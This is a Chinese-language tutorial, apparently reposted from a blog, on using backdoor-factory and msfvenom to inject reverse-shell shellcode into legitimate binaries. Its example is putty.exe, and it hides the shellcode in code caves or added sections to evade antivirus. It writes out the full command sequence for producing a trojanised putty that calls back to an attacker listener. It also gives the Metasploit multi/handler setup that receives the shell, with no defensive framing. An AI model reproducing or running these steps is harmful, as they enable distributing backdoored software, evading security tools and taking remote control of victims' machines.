介绍
backdoor-factory(BDF)
- patch:本是通过替换 exe、dll、注册表等方法修复系统漏洞或问题的方法,但在BDF中是向二进制文件中增加或者删除代码内容,注意某些受保护的二进制程序无法 patch,且存在一定概率文件会被 patch 坏掉
- 将 shellcode 代码 patch 进模板文件,躲避 AV 检查
- 使用于 windows PE x32/64 和 linux ELF x32/64 (OSX)
- 支持 msf payload、自定义 payload
-
MSF使用patch方法
msfvenom -p windows/shell/reverse_tcp #覆盖程序入口
msfvenom -p windows/shell/reverse_tcp –k #创建新的线程执行 shellcode 并跳回原程序入口
图示
CTP方法
增加新的代码段 session,与 msf 的-k 方法类似
使用现有的代码裂缝/洞(code cave)存放 shellcode代码洞
二进制中超过两个字节的连续 x00 区域(代码片段间区域)
- 根据统计判断代码洞是编译器在进行编译是造成的,不同的编译器造成的代码洞的大小不同
单个代码洞代销不足以存放完整的 shellcode
就多代码洞跳转(非顺序执行)初期免杀率可达100%
结合 msf 的 stager 方法patch 选项
附加代码段,单代码洞注入,多代码注入使用方法
backdoor-factory -f putty.exe –S #-S:检查二进制文件是否支持代码注入
backdoor-factory -f putty.exe -c -l 200 #查看其是否支持我们指定的 shellcode patch, -c:code cave(代码裂缝),-l:代码裂缝大小
backdoor-factory -f putty.exe -s show #-s SHELL, --shell=SHELL: 可以使用的有效负载。使用“show”来查看有效载荷
backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_threaded -H 192.168.1.119 -P 4444 -o putty2.exe #注入putty
#默认单一代码洞,-J是多代码洞,-a在代码段后面新加个section注入代码
#使用msf侦听
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 192.168.1.119
msf exploit(multi/handler) > set LPORT 4444
msf exploit(multi/handler) > run
#把putty放到win2003中,运行
#发现shell反弹
msf exploit(multi/handler) > sessions -i 1 #进入shell
原文链接:https://blog.csdn.net/weixin_44604541/article/details/105640931